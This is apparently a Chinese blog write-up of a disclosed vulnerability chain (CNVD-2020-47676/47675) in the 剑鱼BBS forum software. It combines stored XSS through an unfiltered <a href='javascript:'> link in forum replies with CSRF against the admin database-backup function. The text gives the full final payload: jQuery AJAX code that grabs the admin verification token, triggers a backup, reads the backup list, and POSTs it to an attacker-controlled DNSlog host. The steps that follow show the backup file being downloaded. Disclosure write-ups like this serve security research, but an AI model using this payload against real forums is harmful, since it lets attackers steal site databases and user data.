剑鱼BBS组合拳获取数据库备份文件CNVD-2020-47676/CNVD-2020-47675







注册一个账号,找到一个帖子进行跟帖,跟帖完成后点击修改,修改已经填写的内容,最后点击下方修改完成修改操



对数据包进行拦截,解码后我们能看到gtnr参数是以html形式传递的。






我们跟进源码看看,发现\fmwk\library\catfish\Catfish.php文件的第838846行是防护过滤函数。




对比下发现禁用了绝大多数标签和事件,但是因为前台的富文本编辑原因依旧放过了一些标签,比如最简单的a标签。于是我们可以用伪协议形式编写payload






<a href=”javascript:xxxxxxxxxx”>

我们在后台发现了备份数据库功能,于是通过XSS进行数据库备份请求,再GET数据库列表页面获得html代码,再通过DNSlog平台即可获得数据库随机名称,造成数据库随机名泄露。






最终payload

ver=$('#verification').text();
$.ajax({type:'POST',url:'http://www.cms.com/index.php/admin/index/dbbackup.html',data:{verification:ver},success:alert('ok')});
$.ajax({type:'GET',url:'http://www.cms.com/index.php/admin/index/dbbackup.html',success:function(result){$.ajax({type:'POST',url:'DNSlog地址',data:result,success:alert('ok')})}})">aaaaaaaaaaa </a>






payload共会发起三次请求,加上了”ok”提示请求发送过程,实际攻击时没有)








发送完成,刷新一次页面清除缓存








管理员登陆到后台时跟帖管理和后台首页都会显示最新跟帖(加载我们的恶意代码)

1、.

2、


由于是a标签,需要手动触发(可以使用其他手法静默执行)

通过AJAX我们的payload发送了数据库备份请求


 
 

返回OK说明成功执行的






紧接着再发送一次GET请求,获取数据库列表页面html,从而得到数据库名称和下载地址








得到数据库备份列表的html源代码








这时ajax进行第三次请求,将刚刚获取到的数据POST到远程DNSlog平台,这样我们就能拿到数据了




进入DNSlog平台,看到有一个post请求



 






查看详细,在里面找到数据库的文件地址和名称







.






拿到数据库备份文件下载地址后退出并清空缓存,浏览器访问弹出提示并成功下载(模拟其他用户下载行为)














Jyb为该cms专有备份格式,下载到文件后可以导入自己的本地环境查看数据信息 




该文章为几个月前的随笔,有不详细的地方请自行脑补。

利用过程为XSS+CSRF+文件下载  

声明:阿硕的博客|松鼠A的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 剑鱼BBS组合拳获取数据库备份文件CNVD-2020-47676/CNVD-2020-47675


未来一定会更好